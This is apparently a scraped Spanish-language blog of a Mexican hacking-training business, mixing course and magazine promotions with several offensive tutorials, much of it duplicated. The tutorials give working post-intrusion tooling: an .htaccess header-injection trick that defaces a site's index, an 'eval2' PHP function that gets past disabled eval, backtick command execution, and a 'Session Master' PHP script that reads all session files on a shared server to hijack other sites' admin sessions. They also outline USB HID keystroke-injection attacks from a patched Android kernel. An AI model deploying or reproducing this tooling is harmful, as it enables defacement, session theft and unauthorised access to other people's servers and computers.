Este es el banner oficial
Entradas VIP a Campus Party
Estaremos rifando unas entradas VIP a Campus Party en la ciudad de Mexico, para entrar a la dinamica tienes que colocar este banner en tu pagina o blog con el link a nuestra pagina, y enviarnos un email a info@hackingmexico.mx con la direccion de tu pagina y tu nombre para que se haga la seleccion el Dia 15 de Julio
Este es el banner oficial
Este es el banner oficial
Foro Estatal de Delitos Informaticos
Se celebro durante los dias 8 y 9 de Marzo El Foro Estatal de Delitos Informaticos, donde parte del programa incluia la presentacion de la Revista Hacking Mexico ante el Tribunal Superior de Justicia. Asi como conferencias y capacitaciones para la Policia Municipal de Morelos.
Durante el evento se me fue entregado un Premio Honorifico Estatal Honoris Causa frente al Magistrado y representantes de la Universidad de Aztlan. Es un orgullo obtener esta condecoracion, aqui pueden ver las fotos del evento y el video donde se hace la presentacion de la revista[gallery ids="1785,1786,1787,1788,1789,1790,1791,1792,1793,1794,1795,1796,1797,1798,1799,1800,1801,1802,1803,1804,1805,1806,1807,1808,1809,1810,1811,1812,1813,1814"]
Durante el evento se me fue entregado un Premio Honorifico Estatal Honoris Causa frente al Magistrado y representantes de la Universidad de Aztlan. Es un orgullo obtener esta condecoracion, aqui pueden ver las fotos del evento y el video donde se hace la presentacion de la revista[gallery ids="1785,1786,1787,1788,1789,1790,1791,1792,1793,1794,1795,1796,1797,1798,1799,1800,1801,1802,1803,1804,1805,1806,1807,1808,1809,1810,1811,1812,1813,1814"]
Evadiendo mecanismos de seguridad internos de un servidor
Este post es más que nada un pequeño “Cheat Sheet” muy simple y básico sobre multiples formas de evadir la seguridad interna de un servidor, al decir interna nos referimos a ya estando dentro del servidor, vamos a ver algunos casos:
Caso 1: Se puede crear archivos, pero no editar el index:
Esto se puede saltar utilizando un pequeño bug que se encuentra en mod_headers desde hace años y que hasta la fecha está sin corregir:
Se crea o edita un .htaccess y se coloca el siguiente contenido:
¿Cómo funciona este bug?
Mod_headers permite crear encabezados HTTP (respuesta), pero se supone que no deja modificar el Content-Length ni mandar contenido, el detalle es que permite insertar saltos de linea, lo cual nos permite crear encabezados especiales e incluso mandar el contenido, la respuesta sería algo como:
Al establecer que el largo es de solo 25, el navegador solo leerá los primeros 25 bytes, los cuales son... nuestra página falsa, ignorando el resto del contenido, puede variar si el navegador lee el primer encabezado de Content-Length (en lugar del segundo), entonces leerá los primeros 44 bytes, esto se soluciona... mandando en total 44 bytes (los primeros 25 válidos y el resto relleno, por ejemplo saltos de linea) de modo que aunque lea 25 o 44 se mostrará solo lo que nos interesa.
Caso 2: Shell encriptada no funciona (suhosin patch) eval desactivado.
Por seguridad muchos servidores desactivan la función eval, normalmente desde el módulo suhosin o mediante la directiva disable_functions, se puede reemplazar la función eval por eval2:
Esta función tiene básicamente el mismo funcionamiento que eval... pero no está filtrada, desde luego requiere que esté activada proc_open, pero esta se puede reemplazar por otra función similar como popen, desde luego el código podría variar.
Caso 3: No está activada la función system() ni similares.
Para estos casos se puede aplicar un poco de magia negra y utilizar las comillas invertidas hacia la derecha: “`”
Tan pequeñas pero poderosas:
Estas comillas nos permiten ejecutar comandos en la mayoría de los lenguajes de script (incluido perl y bash).
Caso 4: Sesiones PHP inseguras.
Traeré un viejo amigo del cementerio del pasado el “Session Master” :D
Su utilidad es simple: Busca archivos “session” guardados en el directorio de los temporales, muchos servidores “compartidos” bueno... comparten el mismo directorio o en algunos casos no se borran estas y siguen siendo válidas para el servidor, de modo que podemos usarla en nuestro navegador y por ejemplo, entrar como administrador del sitio (sin tener la password, sin necesidad de cambiarla y sin necesidad de crackear hashes), esto incluye a cualquier sitio del servidor, no solo en el que estamos ejecutando el session master, también podemos ver el contenido de estas sesiones, en muchos casos se guarda la password en plano u otros valores interesantes, es por demás aclarar que no funciona en todos los sistemas que usan esto, por ejemplo, muchos guardan en base de datos, otros tienen el directorio de las sesiones sin lectura para los usuarios, etc.
Por el momento este post queda hasta aquí, espero que haya sido de su agrado y seguimos en contacto.
By Xianur0!
Caso 1: Se puede crear archivos, pero no editar el index:
Esto se puede saltar utilizando un pequeño bug que se encuentra en mod_headers desde hace años y que hasta la fecha está sin corregir:
Se crea o edita un .htaccess y se coloca el siguiente contenido:
Header set Last-Modified "Xianur0 Was Here\nContent-Length: 25"
Header set xianur0 "Xianur0 Was Here\nContent-Length: 25\n\n<h1>Xianur0 Was Here</h1>"
¿Cómo funciona este bug?
Mod_headers permite crear encabezados HTTP (respuesta), pero se supone que no deja modificar el Content-Length ni mandar contenido, el detalle es que permite insertar saltos de linea, lo cual nos permite crear encabezados especiales e incluso mandar el contenido, la respuesta sería algo como:
Zer0-null:/home/xianur0/kernel-2.6.29-M860 # nc -vvv localhost 80
Connection to localhost 80 port [tcp/http] succeeded!
GET / HTTP/1.1
Host: localhost
HTTP/1.1 200 OK
Date: Fri, 22 Feb 2013 12:09:52 GMT
Server: Apache/2.2.21 (Linux/SUSE)
Last-Modified: Xianur0 Was Here
Content-Length: 25
ETag: "100809-2c-3e9564c23b600"
Accept-Ranges: bytes
Content-Length: 44
xianur0: Xianur0 Was Here
Content-Length: 25
<h1>Xianur0 Was Here</h1>
Content-Type: text/html
<html><body><h1>It works!</h1></body></html>
Al establecer que el largo es de solo 25, el navegador solo leerá los primeros 25 bytes, los cuales son... nuestra página falsa, ignorando el resto del contenido, puede variar si el navegador lee el primer encabezado de Content-Length (en lugar del segundo), entonces leerá los primeros 44 bytes, esto se soluciona... mandando en total 44 bytes (los primeros 25 válidos y el resto relleno, por ejemplo saltos de linea) de modo que aunque lea 25 o 44 se mostrará solo lo que nos interesa.
Caso 2: Shell encriptada no funciona (suhosin patch) eval desactivado.
Por seguridad muchos servidores desactivan la función eval, normalmente desde el módulo suhosin o mediante la directiva disable_functions, se puede reemplazar la función eval por eval2:
function eval2($php) {
// eval2 By Xianur0
$cabecera = "<?php\n";
foreach($_GET as $key => $valor) $cabecera .= '$_GET['.$key.'] = "'.$valor.'";';
foreach($_POST as $key => $valor) $cabecera .= '$_POST['.$key.'] = "'.$valor.'";';
foreach($_SERVER as $key => $valor) $cabecera .= '$_SERVER['.$key.'] = "'.$valor.'";';
foreach($HTTP_POST_FILES as $key => $valor) $cabecera .= '$HTTP_POST_FILES['.$key.'] = "'.$valor.'";';
$consulta = $cabecera.$php." ?>";
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$cwd = getcwd();
$process = proc_open('php', $descriptorspec, $pipes, $cwd);
if (is_resource($process)) {
fwrite($pipes[0], $consulta);
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
}
}
Esta función tiene básicamente el mismo funcionamiento que eval... pero no está filtrada, desde luego requiere que esté activada proc_open, pero esta se puede reemplazar por otra función similar como popen, desde luego el código podría variar.
Caso 3: No está activada la función system() ni similares.
Para estos casos se puede aplicar un poco de magia negra y utilizar las comillas invertidas hacia la derecha: “`”
Tan pequeñas pero poderosas:
<?php
print `ls`;
?>
Estas comillas nos permiten ejecutar comandos en la mayoría de los lenguajes de script (incluido perl y bash).
Caso 4: Sesiones PHP inseguras.
Traeré un viejo amigo del cementerio del pasado el “Session Master” :D
<html><title>Session Master By Xianur0</title><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center>
<h1>Session Master By Xianur0</h1><br><img alt height="100" src="http://img59.imageshack.us/img59/9729/xianur0oq5.gif" width="100"><br><br><script type="text/Javascript">function expandcollapse (postid) { whichpost = document.getElementById(postid);if (whichpost.className=="postshown") { whichpost.className="posthidden"; } else { whichpost.className="postshown"; } }</script><style>.posthidden {display:none} .postshown {display:inline}</style>
<?php
@session_start();
function buscar() {
$tmp = @session_save_path();
print "<b>Directory of sessions: $tmp\n</b><br>";
$dir = @opendir($tmp);
while ($session = @readdir($dir))
{
if(preg_match("/^sess_/",$session)) {
$gestor = @fopen("$tmp/$session", "r");
$contenido = @fread($gestor, filesize("$tmp/$session"));
$contenido = @str_replace(';', ";\n<br><br>Session: ", $contenido);
fclose($gestor);
echo "<br>".$session."<br>\n";
if(!empty($contenido)){
$i++;
echo '<a href="javascript:expandcollapse('.$i.')">Show/Hide Code</a><br><span id="'.$i.'">
<br/><table height=1 cellSpacing=0 cellPadding=5 width="100%" bgColor=#FF0000 borderColor=#FF0000 border=1><tr><th>Session: '.$contenido.'</th></tr></table></span><br>';
}
}
}
}
function definir() {
$name = $_POST['name'];
$contenido = $_POST['valor'];
$_SESSION[$name] = $contenido;
}
function definidos() {
foreach ($_SESSION as $name => $valor)
{
print "<b>Name:</b> $name\n<br><b>Value:</b> $valor\n<br><br>";
}
}
function menu() {
$uri = $_SERVER['REQUEST_URI'];
print "<h2>Define SESSION</h2><br><form action='".$uri."?&action=definir' method='POST'>Name: <input type='text' name='name'><br>Value: <input type='text' name='valor'><br><input type='submit' value='Set!'></form><h2>Information:</h2><b><a href='$uri?&action=definidos'>Defined Sessions</a><br><a href='$uri?&action=buscar'>Sessions On The Server</a><b>";
}
if(isset($_GET['action']))
$action = $_GET['action'];
else $action="default";
switch ($action) {
case "buscar":
buscar();
break;
case "definir":
definir();
break;
case "definidos":
definidos();
break;
default:
menu();
break;
}
?>
Su utilidad es simple: Busca archivos “session” guardados en el directorio de los temporales, muchos servidores “compartidos” bueno... comparten el mismo directorio o en algunos casos no se borran estas y siguen siendo válidas para el servidor, de modo que podemos usarla en nuestro navegador y por ejemplo, entrar como administrador del sitio (sin tener la password, sin necesidad de cambiarla y sin necesidad de crackear hashes), esto incluye a cualquier sitio del servidor, no solo en el que estamos ejecutando el session master, también podemos ver el contenido de estas sesiones, en muchos casos se guarda la password en plano u otros valores interesantes, es por demás aclarar que no funciona en todos los sistemas que usan esto, por ejemplo, muchos guardan en base de datos, otros tienen el directorio de las sesiones sin lectura para los usuarios, etc.
Por el momento este post queda hasta aquí, espero que haya sido de su agrado y seguimos en contacto.
By Xianur0!
Primera generacion del Diplomado en Intrusiones Ciberneticas
Felicidades a la primera generacion que hoy completa las 25 horas del primer modulo de la certificacion COISP. Sabemos que mucha gente quedo fuera, pero ya estamos abriendo grupos dominicales para que puedan asistir.
Nos vemos en el modulo 2!
Diploma con valor curricular, entregado a los participantes, con firmas originales, sellos oficiales del Sistema Educativo Nacional ,el Instituto Politecnico Nacional, y holograma de autenticidad. Respaldado por
entre otras que cuentan con reconocimiento de Idoneidad Vigente para otorgar Diplomados y Certificaciones
http://www.sep.gob.mx/es/sep1/sep1_Reconocimiento_de_Idoneidad#.UTJFGzByGSo
Nos vemos en el modulo 2!
M4ku4z y Megabyte con los alumnos de la primera generacion
Diploma con valor curricular, entregado a los participantes, con firmas originales, sellos oficiales del Sistema Educativo Nacional ,el Instituto Politecnico Nacional, y holograma de autenticidad. Respaldado por
Colegio de Contadores Públicos de Cuautla, A.C. | SEP/DGP/CP001/10/030. |
Colegio de Contadores Públicos de Morelos, A.C. | SEP/DGP/CP001/10/031. |
Asociación Mexicana de Contadores Públicos. Colegio Profesional en el Distrito Federal, A.C | SEP/DGP/CP002/06 |
entre otras que cuentan con reconocimiento de Idoneidad Vigente para otorgar Diplomados y Certificaciones
http://www.sep.gob.mx/es/sep1/sep1_Reconocimiento_de_Idoneidad#.UTJFGzByGSo
Entrevista a Raul Robles Aviles
Entrevista que se llevo a cabo en el BugCON en la ciudad de Mexico
http://estoesmexico.net/videos/Ral_Robles_CEO_Hacking_Mexico-vidwzpjJFA8v6Y.html
http://estoesmexico.net/videos/Ral_Robles_CEO_Hacking_Mexico-vidwzpjJFA8v6Y.html
Android Para Hackers Reales pt. 2
Usaré un celular M860 para este proceso, por lo que usaré el código fuente siguiente (ustedes necesitarán el código fuente del kernel del celular que vayan a usar):
https://github.com/playfulgod/kernel-2.6.29-M860
(Por cierto, playfulgod tiene buenos repositorios de kernels)
Y vamos a usar el siguiente paquete de herramientas:
http://www.mediafire.com/?o25hl0x3zjnxxi2
Copiamos el archivo “compilakernel.sh” y la carpeta “toolchain-4.6.3” del paquete a la carpeta del código fuente y bajamos la configuración del kernel:
Necesitamos colocar el boot.img (se explicó en este manual como obtenerlo: http://www.hackingmexico.mx/blog/android-para-hackers/) en la misma carpeta del source del kernel y tener instalado abootimg y fastboot.
Para instalar fastboot basta con copiarlo a /usr/bin/ y darle permisos de ejecución (chmod a+w /usr/bin/fastboot).
Compilamos:
Ejecutando configuracion del kernel...
HOSTCC scripts/basic/fixdep
[...]
En primera instancia nos abrirá el asistente para configurar el kernel, de entrada no hace falta mover nada, entonces solo nos movemos a exit y le damos enter, pero se pueden hacer cosas interesantes, como agregar soporte para la rtl8187 (en dispositivos con usb host):
De este modo, cargando el módulo con insmod (o cargándolo directamente en el kernel) y portanto aircrack como se explicó en el manual http://www.hackingmexico.mx/blog/portando-cualquier-programa-gnulinux-a-android/
Se pueden hacer cosas muy divertidas :P.
Preguntará si queremos guardar la configuración y le daremos “Yes” y el proceso de compilar comenzará.
Según la versión de gcc del tool-chain y del código fuente puede generar ciertos errores durante la compilación, pero este proceso varía según el dispositivo entonces si tienen alguna duda de como solucionar un determinado error pueden publicar el error como comentario y se asistirá para darle solución.
El proceso puede tardar un poco, pero al terminar las ultimas lineas se verían aproximadamente como estas:
Al llegar a este punto es necesario pasar el dispositivo a modo fastboot, para este se necesita apagarlo y presionar la combinación de botones del dispositivo, en muchos casos es volumen abajo + home + encendido, aunque puede variar de un dispositivo a otro, al entrar a fastboot (se reconoce porque el dispositivo se queda en la primera pantalla y no pasa de esta) se conecta por usb el dispositivo (se requiere tenerlo desconectado previamente xD) y el sistema comenzará a cargar el nuevo kernel:
Y bueno el script hará el resto.
Si todo sale bien, podrás decir que has compilado tu primer kernel para android y ahora te queda... modificar el kernel de tu dispositivo :D.
By Xianur0!
https://github.com/playfulgod/kernel-2.6.29-M860
(Por cierto, playfulgod tiene buenos repositorios de kernels)
Y vamos a usar el siguiente paquete de herramientas:
http://www.mediafire.com/?o25hl0x3zjnxxi2
Copiamos el archivo “compilakernel.sh” y la carpeta “toolchain-4.6.3” del paquete a la carpeta del código fuente y bajamos la configuración del kernel:
# adb pull /proc/config.gz && zcat /proc/config.gz > .config
160 KB/s (13860 bytes in 0.084s)
Necesitamos colocar el boot.img (se explicó en este manual como obtenerlo: http://www.hackingmexico.mx/blog/android-para-hackers/) en la misma carpeta del source del kernel y tener instalado abootimg y fastboot.
Para instalar fastboot basta con copiarlo a /usr/bin/ y darle permisos de ejecución (chmod a+w /usr/bin/fastboot).
Compilamos:
Zer0-null:/home/xianur0/originales/kernel-2.6.29-M860 # ./compilarkernel.sh
Ejecutando configuracion del kernel...
HOSTCC scripts/basic/fixdep
[...]
En primera instancia nos abrirá el asistente para configurar el kernel, de entrada no hace falta mover nada, entonces solo nos movemos a exit y le damos enter, pero se pueden hacer cosas interesantes, como agregar soporte para la rtl8187 (en dispositivos con usb host):
General setup --->
[*] Prompt for development and/or incomplete code/drivers
Networking --->
[*] Networking support
Wireless --->
<*> Generic IEEE 802.11 Networking Stack (mac80211)
Device Drivers --->
[*] Misc Devices --->
<M> EEPROM 93CX6 support
Network device support --->
Wireless LAN --->
[*] Wireless LAN (IEEE 802.11)
<M> Realtek 8187 and 8187B USB support
Cryptographic options --->
[*]Cryptographic API
<*>ARC4 cipher algorithm
Library routines
---CRC32 functions
De este modo, cargando el módulo con insmod (o cargándolo directamente en el kernel) y portanto aircrack como se explicó en el manual http://www.hackingmexico.mx/blog/portando-cualquier-programa-gnulinux-a-android/
Se pueden hacer cosas muy divertidas :P.
Preguntará si queremos guardar la configuración y le daremos “Yes” y el proceso de compilar comenzará.
Según la versión de gcc del tool-chain y del código fuente puede generar ciertos errores durante la compilación, pero este proceso varía según el dispositivo entonces si tienen alguna duda de como solucionar un determinado error pueden publicar el error como comentario y se asistirá para darle solución.
El proceso puede tardar un poco, pero al terminar las ultimas lineas se verían aproximadamente como estas:
Kernel: arch/arm/boot/Image is ready
Building modules, stage 2.
Kernel: arch/arm/boot/zImage is ready
MODPOST 10 modules
Copiando modulos al temporal...
Modificando boot.img...
Flasheando la imagen...
< waiting for device >
Al llegar a este punto es necesario pasar el dispositivo a modo fastboot, para este se necesita apagarlo y presionar la combinación de botones del dispositivo, en muchos casos es volumen abajo + home + encendido, aunque puede variar de un dispositivo a otro, al entrar a fastboot (se reconoce porque el dispositivo se queda en la primera pantalla y no pasa de esta) se conecta por usb el dispositivo (se requiere tenerlo desconectado previamente xD) y el sistema comenzará a cargar el nuevo kernel:
sending 'boot' (3504 KB)... OKAY
writing 'boot'... OKAY
Reiniciando el dispositivo...
rebooting...
Subiendo modulos...
Desconecte el dispositivo hasta que este termine de iniciar.
Y bueno el script hará el resto.
Si todo sale bien, podrás decir que has compilado tu primer kernel para android y ahora te queda... modificar el kernel de tu dispositivo :D.
By Xianur0!
10% de Descuento en Diplomado
Para obtener el descuento del 10% Solo tienes que ir a nuestra HackShop localizada en Nuevo Leon 192 Colonia Condesa, esquina con Tlaxcala, y pedir 5 Posters, despues pegalos en tu escuela, bibliotecas, etc (con permiso de la institucion) y tomales foto, envianos las fotos a info@hackingmexico.mx y listo!
Ataques HID (USB) desde dispositivos Android (Kernel Hacking)
Primero que nada, ¿Qué son los dispositivos HID?
HID (Human Interface Device) son básicamente los dispositivos que interactúan directamente con el usuario, es decir, que son una interfaz entre el usuario y la máquina, por ejemplo un mouse, un teclado, etc.
¿A qué nos referimos exactamente con ataques?
Por ejemplo, si emulamos un mouse, podemos hacer exactamente lo que hace un mouse, mover el puntero, mandar botones (de cada uno de los botones que tiene un mouse). Si emulamos un teclado... obviamente podemos mandar teclas, entre ellas atajos (Ctrl+Supr, Inicio+D, etc) de este modo podemos hacer cualquier cosa que haría un usuario en la computadora, esto sin tocar nosotros directamente la máquina (por ejemplo ejecutar un programa sin necesidad de infectar la máquina, y sin que un antivirus detecte algo sospechoso), estos ataques no duran más de unos segundos (a veces no más de 1 segundo) y se pueden pre-programar, es decir llevar programado el ataque en un dispositivo que simplemente hará falta conectarlo a la máquina (en este caso sería el celular) para que haga todo el trabajo por nosotros.
¿Hacia que plataformas está enfocado esta clase de ataques?
Hacia cualquier cosa que tenga un puerto usb y soporte dispositivos HID, esto no depende del sistema operativo, por lo que puede afectar a windows y a linux por igual (se podría hablar de dispositivos android). Incluso se puede enfocar el ataque a kioskos de auto-servicio y demás dispositivos con un usb descubierto.
Comencemos, para poder realizar estos ataques desde un dispositivo android se necesita parchar el kernel para poder utilizar el usb del celular en crudo (sin pasar por las api's de android) para poder simular cualquier dispositivo que nos de la gana, para esto necesitamos obviamente el código fuente del kernel y las cross-tools correspondientes para compilar el kernel, además de fastboot (o un modo para escribir el kernel), no detallaré este proceso, solo hablaré del código fuente, el proceso de compilar un kernel se habla en “Android Para Hackers Reales pt. 2”.
Usaré un celular M860 para esto, por lo que usaré el código fuente de este dispositivo (ustedes necesitarán el código fuente del kernel del celular que vayan a usar).
El código fuente del USBHacker (esta modificación al kernel) está disponible aquí: http://www.mediafire.com/?clygkt3457odcrb
Parchamos el código fuente:
Compilamos el kernel como se mostró en el paper pasado (Android Para Hackers Reales pt. 2), compilamos los módulos y arrancar el que nos interese, por ejemplo el mouse:
Nota: modificar el Makefile para colocar la ruta del código fuente del kernel y del toolchain.
Y si todo va bien, el puntero de nuestra máquina comenzará a moverse... de lo contrario bastará con desconectar y volver a conectar el usb.
Para volver a tener adb basta con ejecutar en el celular (desde terminal emulator) el comando: rmmod mouse
El caso del teclado sería algo similar, pero este es un poco más divertido, porque podemos mandar atajos de teclas, y en muchos esos eso nos podría servir para ejecutar programas (Por ejemplo: Windows + R nos serviría para desplegar la ventana de “Ejecutar” y a esa podríamos escribir por ejemplo: “cmd” seguido por un enter y tendríamos ms-dos abierto).
Por el momento no extenderé mucho este paper, debido a que el tema es muy extenso y da para hablar mucho, por lo que continuaremos en otro post.
by xianur0
HID (Human Interface Device) son básicamente los dispositivos que interactúan directamente con el usuario, es decir, que son una interfaz entre el usuario y la máquina, por ejemplo un mouse, un teclado, etc.
¿A qué nos referimos exactamente con ataques?
Por ejemplo, si emulamos un mouse, podemos hacer exactamente lo que hace un mouse, mover el puntero, mandar botones (de cada uno de los botones que tiene un mouse). Si emulamos un teclado... obviamente podemos mandar teclas, entre ellas atajos (Ctrl+Supr, Inicio+D, etc) de este modo podemos hacer cualquier cosa que haría un usuario en la computadora, esto sin tocar nosotros directamente la máquina (por ejemplo ejecutar un programa sin necesidad de infectar la máquina, y sin que un antivirus detecte algo sospechoso), estos ataques no duran más de unos segundos (a veces no más de 1 segundo) y se pueden pre-programar, es decir llevar programado el ataque en un dispositivo que simplemente hará falta conectarlo a la máquina (en este caso sería el celular) para que haga todo el trabajo por nosotros.
¿Hacia que plataformas está enfocado esta clase de ataques?
Hacia cualquier cosa que tenga un puerto usb y soporte dispositivos HID, esto no depende del sistema operativo, por lo que puede afectar a windows y a linux por igual (se podría hablar de dispositivos android). Incluso se puede enfocar el ataque a kioskos de auto-servicio y demás dispositivos con un usb descubierto.
Comencemos, para poder realizar estos ataques desde un dispositivo android se necesita parchar el kernel para poder utilizar el usb del celular en crudo (sin pasar por las api's de android) para poder simular cualquier dispositivo que nos de la gana, para esto necesitamos obviamente el código fuente del kernel y las cross-tools correspondientes para compilar el kernel, además de fastboot (o un modo para escribir el kernel), no detallaré este proceso, solo hablaré del código fuente, el proceso de compilar un kernel se habla en “Android Para Hackers Reales pt. 2”.
Usaré un celular M860 para esto, por lo que usaré el código fuente de este dispositivo (ustedes necesitarán el código fuente del kernel del celular que vayan a usar).
El código fuente del USBHacker (esta modificación al kernel) está disponible aquí: http://www.mediafire.com/?clygkt3457odcrb
Parchamos el código fuente:
Zer0-null:/home/xianur0/kernel-2.6.29-M860 # patch < ../parche.patch
can't find file to patch at input line 3
Perhaps you should have used the -p or --strip option?
The text leading up to this was:
--------------------------
|--- drivers/usb/function/msm_hsusb.c 2013-02-22 04:40:41.487025262 -0600
|+++ drivers/usb/function/msm_hsusb.c.back 2013-02-22 04:38:07.597024271 -0600
--------------------------
File to patch: drivers/usb/function/msm_hsusb.c
patching file drivers/usb/function/msm_hsusb.c
Compilamos el kernel como se mostró en el paper pasado (Android Para Hackers Reales pt. 2), compilamos los módulos y arrancar el que nos interese, por ejemplo el mouse:
Zer0-null:/home/xianur0/kernel-2.6.29-M860/xian-modules # make
Make module for target arm
make EXTRA_CFLAGS=-fno-pic -C /home/xianur0/kernel-2.6.29-M860 M=/home/xianur0/kernel-2.6.29-M860/xian-modules ARCH=arm CROSS_COMPILE=/home/xianur0/toolchain-4.6.3/bin/arm-linux-androideabi- modules
/bin/sh: /home/xianur0/kernel-2.6.29-M860/xian-modules/scripts/gcc-version.sh: No existe el fichero o el directorio
make[1]: se ingresa al directorio `/home/xianur0/kernel-2.6.29-M860'
Building modules, stage 2.
MODPOST 2 modules
make[1]: se sale del directorio `/home/xianur0/kernel-2.6.29-M860'
adb push teclado.ko /sdcard/
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
81 KB/s (52093 bytes in 0.622s)
adb push mouse.ko /sdcard/
187 KB/s (51069 bytes in 0.265s)
Disfruta :D!
adb shell
# insmod /sdcard/mouse.ko
Nota: modificar el Makefile para colocar la ruta del código fuente del kernel y del toolchain.
Y si todo va bien, el puntero de nuestra máquina comenzará a moverse... de lo contrario bastará con desconectar y volver a conectar el usb.
Para volver a tener adb basta con ejecutar en el celular (desde terminal emulator) el comando: rmmod mouse
El caso del teclado sería algo similar, pero este es un poco más divertido, porque podemos mandar atajos de teclas, y en muchos esos eso nos podría servir para ejecutar programas (Por ejemplo: Windows + R nos serviría para desplegar la ventana de “Ejecutar” y a esa podríamos escribir por ejemplo: “cmd” seguido por un enter y tendríamos ms-dos abierto).
Por el momento no extenderé mucho este paper, debido a que el tema es muy extenso y da para hablar mucho, por lo que continuaremos en otro post.
by xianur0
Don Beto, Don Beto! Ya tenemos Tienda Fisica
Para toda la gente del DF y del edo de Mexico, ahora podran adquirir todos los productos del HackShop en persona, para los que no quieren esperar el correo, o quieren ahorrarse el envio pueden visitarnos en la tienda localizada en Innovattia
Aqui podras adquirir las 2 revistas, el DVD, el Wifi Cracker, y todos los gadgets de la HackShop
Y aqui mismo son las instalaciones donde se lleva a cabo el Diplomado Presencial
Visitanos de Lunes a Viernes de 9 am a 6 pm
View Larger Map
Aqui podras adquirir las 2 revistas, el DVD, el Wifi Cracker, y todos los gadgets de la HackShop
Nuevo Leon #192, Colonia Condesa, esquina con Tlaxcala, timbre 101, cerca del metrobus Chilpancingo
Y aqui mismo son las instalaciones donde se lleva a cabo el Diplomado Presencial
Visitanos de Lunes a Viernes de 9 am a 6 pm
View Larger Map
Articulo destacado en IngeNET
Por segunda vez, uno de mis articulos aparece como destacado en la red de blogs de Ingenieros, IngeNET, aqui esta el enlace
http://bitacora.ingenet.com.mx/2013/02/la-deep-web-lo-verdaderamente-oculto-de-la-red/
http://bitacora.ingenet.com.mx/2013/02/la-deep-web-lo-verdaderamente-oculto-de-la-red/
Revista 2 Disponible
Ya puedes adquirir el numero 2 de la revista por el mismo precio de lanzamiento de $70, se vendera en diferentes puntos de la ciudad, y en las conferencias donde estemos. Tambien puedes ordenarla con envio express de 2 dias habiles con MexPost, tenemos las siguientes promociones
El temario de la Revista 2 es
Revista #2 con Envio express 2 dias habiles $170
Paquete Revista 1 y Revista 2 con Envio express 2 dias habiles $230
Super Paquete Revista 1, Revista 2, y DVD con video tutoriales y mas de 50 herramientas de Hacking con Envio Express 2 dias habiles $320
Subscripcion Anual * 6 ejemplares $1000 Envio Express 2 dias habiles incluido, y recibe el DVD Gratis
Pago por Oxxo
despues tomale una foto al comprobante o scanealo y envia tu direccion y tu nombre a info@hackingmexico.mx
Deposito Bancario
Tambien puedes depositar en Banco
despues tomale una foto al comprobante o scanealo y envia tu direccion y tu nombre a info@hackingmexico.mx
El temario de la Revista 2 es
Metadatos algo mas alla de lo visible
Deteccion y Proteccion de Ataques ARP Spoofing
Ingenieria Social
Hackeando Correos: Realidad o Mito
Penetracion de Servidores Windows
Identity and Access Management
Bypassing de Uploaders
CISCO& Juniper Brute Force
Wardriving con iOS
Crackeando Accunetix
NXT Controller Un Troyano para Divertirse
Revista #2 con Envio express 2 dias habiles $170
Paquete Revista 1 y Revista 2 con Envio express 2 dias habiles $230
Super Paquete Revista 1, Revista 2, y DVD con video tutoriales y mas de 50 herramientas de Hacking con Envio Express 2 dias habiles $320
Subscripcion Anual * 6 ejemplares $1000 Envio Express 2 dias habiles incluido, y recibe el DVD Gratis
Pago por Oxxo
$total a la tarjeta 4152312197502419
despues tomale una foto al comprobante o scanealo y envia tu direccion y tu nombre a info@hackingmexico.mx
Deposito Bancario
Tambien puedes depositar en Banco
Banco: BBVA Bancomer
A nombre de: Raul Robles Aviles
Concepto: revista
No. de Cuenta 0187088957
CLABE 012180001870889575
despues tomale una foto al comprobante o scanealo y envia tu direccion y tu nombre a info@hackingmexico.mx
Buscando talentos
La expansion de HackingMexico continua, te gustaria ser parte del equipo? Buscamos talentos en diferentes areas, por eso dejamos la descripcion del rol para que tu lo propongas, en que eres bueno? cual seria tu trabajo ideal? Tal vez te gusta descubrir bugs, tal vez te gusta dar conferencias, odias el trato directo con la gente y prefieres estar detras de las operaciones? Dinos como te desempeñarias mejor, cuales son tus pasiones, te gusta programar? te gusta el pentesting? Te gustaria usar corbata a diario, o prefieres usar Jeans y playeras?
El trabajo es de medio tiempo, y se puede ajustar a los fines de semana, envianos tu CV a info@hackingmexico.mx y dinos tu experiencia y que rol te gustaria desempeñar
El trabajo es de medio tiempo, y se puede ajustar a los fines de semana, envianos tu CV a info@hackingmexico.mx y dinos tu experiencia y que rol te gustaria desempeñar
Confirmada Ponencia en ExpoSeguridad Mexico
Estare dando una platica en este evento celebrado en la ciudad de Mexico, se perfila como el evento mas grande de Seguridad de America Latina
Programa de Conferencias: 23-25 de abril de 2013
Exposición: 23-25 de abril de 2013
Acerca de
Programa de Conferencias: 23-25 de abril de 2013
Exposición: 23-25 de abril de 2013
Centro Banamex, Cuidad de México
Acerca de
Expo Seguridad México
- Más de 480 expositores en piso
- Más de 30,000 m2 de espacio de exhibición
- Expositores de más de 16 países diferentes
- Más de 12,000 visitantes
- Cobertura del evento por más de 100 medios de comunicación
¿Quién exhibe?
- Fabricantes de más de 16 países
- Distribuidores locales e internacionales
- Proveedores Especializados de Servicios de Seguridad y Fuerzas del Orden
- Representantes de los Fabricantes
- Distribuidores e Integradores de Seguridad
- Proveedores especializados en Seguridad
- Servicios de Guardias y Protección
http://www.exposeguridadmexico.com/
La Lista Negra de Congresos en Mexico
Al estar involucrado en varias organizaciones de congresos, salen a flote los malos manejos, es por eso que vamos a desenmascarar aquellos que por su mal manejo dejan una mala imagen en el pais, nosotros tenemos contacto con todos los ponentes, y se nos hace poco etica la forma en que estos congresos operan.
Se supone que es para difundir el conocimiento, pero nos damos cuenta que por cuestiones personales van llevando a pique la ciencia. apoyamos a todos los conferencistas, talleristas y ponentes, ya que GRACIAS A ELLOS se realizan estos eventos.
No pago viaticos a
Ademas de no haber enviado diplomas de sus cursos, y no dio diplomas de asistencia a algunas personas, el video explica todo
Se nego a pagar los viaticos en su totalidad
Se robo ideas de HackingMexico para vender productos del HackShop
Opinion por parte de Gamaliel de OS UPIITA
A toda la gente les pedimos evaluen estas situaciones, y saquen sus conclusiones, los congresos deben de valorar a los ponentes, ya que sin ellos no existirian. Repudiamos a la gente que se roba el dinero de las entradas y no paga siquiera los viaticos de los ponentes y ellos tienen que poner de su propia bolsa.
Exigimos un trato justo para los que de buena fe comparten sus investigaciones y avances cientificos.
